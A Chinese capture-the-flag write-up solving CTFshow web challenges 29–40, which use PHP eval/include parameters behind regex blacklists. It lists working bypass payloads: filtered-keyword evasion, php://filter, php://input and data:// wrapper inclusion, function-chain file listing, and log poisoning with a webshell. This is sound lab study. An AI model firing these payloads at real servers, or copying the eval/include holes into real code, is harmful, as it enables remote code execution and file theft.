CTFSHOW web 命令执行WriteUP Part1 WEB29-WEB40
WEB29
命令执行,需要严格的过滤
这里看到用c传参,做了一点简单过滤 不过这点东西怎么能难倒我,哼
1
2
|
方法1 c=system("cp fl*g.php 123.txt"); 访问123.txt即可
方法2 c=system("tac fl*g.php")
|
当然这道题方法太多了,不再举例子了
WEB30
命令执行,需要严格的过滤
这道题看描述和上一道题一样,不过代码过滤相对更加严格了一些
1
2
3
4
5
6
7
8
9
10
|
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
可以看出过滤了flag system php这些常用的指令和与flag有关的内容,但是exec,passthru等指令仍然没被过滤
直接故技重施:
1
|
?c=echo exec("cp fl*g.ph* 1.txt");
|
访问url/1.txt直接得到flag
附:php执行系统指令相关芝士
WEB31
命令执行,需要严格的过滤
这道题仍然烤命令过滤,打开题看一眼先
1
2
3
4
5
6
7
8
9
10
|
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
好家伙,这次过滤了这么多,甚至连空格都给过滤了,怎么办呢,这里偷看了wp,大概有三种方法:
1.可以构造一个新函数
例c=eval($_GET[a]);&a=system('cat flag.php');
因为只判断了传入的c的值,直接新建一个变量直接绕过,这种方法也适用于上面两种
2.可以利用已知的其他函数来凑出所需要的字符串来绕过
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
名词解释:
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为".“所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
WEB32
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
|
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
过滤了大部分需要用到的东西,直接给c进行传参进行命令执行现在基本上不可能了,不过可以通过特殊方法绕过
以下是传参
1
|
?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php
|
这是什么意思呢?这里的%0a
和%3E
分别代表回车和>,可以从题目中发现题目中php源文件的尖括号并不是闭合的,以下是参考解析
在c参数中,我们看到以下内容:
include:这是一个PHP函数,用来包含并执行指定文件的内容。在正常情况下,它可以用来加载并执行PHP文件。
%0a(换行符):通过插入换行符,它可能会帮助跳过过滤条件,或者对PHP语法产生意外的影响。
$_GET[1]:这是通过GET请求获取名为1的参数的值。PHP的$_GET超全局数组可以用来获取URL中的查询参数。
?%3E(>):表示HTML标签的结束符。这个符号的作用可能是结束之前的PHP代码并防止它继续执行。
总结一下,这部分的含义是:通过include包含一个动态路径文件,并在路径中利用$_GET[1]来进一步控制要执行的文件。
接下来使用1=php://filter/convert.base64-encode/resource=flag.php
进行文件读取,将读取出的base64编码文件转为php文件即可。
还有一种写法
1
|
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
|
WEB33
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
这道题和上一道题区别不大,同样可以用上一道题的payload解出。
不过看wp后发现还有一种方法:日志注入
1
|
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
|
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可。
WEB34
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
同上,这道题多过滤了冒号,但是仍然可以直接用上上一道题的payload即可解出。
翻wp发现这几道题还有一种思路:
题目对常见命令都进行过滤, 但是仔细发现可以利用include进行绕过, 具体实现方式为 eval(include flag.php;); ,但是题目屏蔽了分号(;)和点号(.), 其中分号可以使用?>平替,但是点号无法绕过, 遂使用post执行php代码注入flag.php, 因此可得payload:
GET:?c=include$_GET[1]?>&1=php://input
POST传参:<?php system('tac flag.php');?>
需要注意,因为POST没有按照key=value封装数据, 因此hackBar认为数据有问题, 不会发送数据, 可以使用Burp Suite发送数据
补充: php://input默认读取没有处理过的POST数据
WEB35
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
这次多过滤了等于号和<号,但是WEB32的payload仍然可用。因为根本没用左尖括号和等号
WEB36
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
这次多过滤了数字,试试WEB32那个payload,欸好像不行了…吗?直接把1换成字母就可以了啊oi(#`O′)!!
看一眼wp发现一种方法和上面php://input大同小异就不解释了。
?c=include$_GET[v]?>&v=data://text/plain,<?php system("tac flag.php")?>
这题还是杂鱼,直接下一题
WEB37
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
|
嗯?这道题好像不一样了,一看这不直接帮咱们include好了嘛,直接传参
?c=data://text/plain,<?php system("tac fla*.php")?>
也可以用?c=data://input
然后post传参
这里在wp里发现一种有意思的解法?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
应该可以通过这种方法绕过不少过滤。
WEB38
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
|
这道题WEB37中base64那个payload仍然可以绕过,用php://input+post传参也可以,或者直接在WEB37原始的payload上直接小修改一下?c=data://text/plain,<?=system("tac f*")?>
也可以直接绕过。
WEB39
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
|
同WEB37。wp有佬解释:拼接的php可以不用管,include只会处理内部的内容,对flag的过滤可以采用拼接的方式 ?c=data://text/plain
,这里偷懒了,也可以base64一下。
WEB37中的尖括号闭合可以绕过.php,因为相当于直接结束了php文件,同理也可以用//注释掉后面的内容,比如?c=data://text/plain,<?php%20system("tac%20fla*.php");//
来解决这道题。
WEB40
命令执行,需要严格的过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
好家伙这是基本上把能过滤的符号全部给噶了,不过仔细一看似乎半角括号没被过滤,那应该如何尝试只用()就获取呢,上面题目(WEB31)已经有例子了,直接用?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
就直接绕过啦。
这里有两种做法,分别解析:
1.POST传参
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system(’tac fl*’);
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
2.show_source
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为".“所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。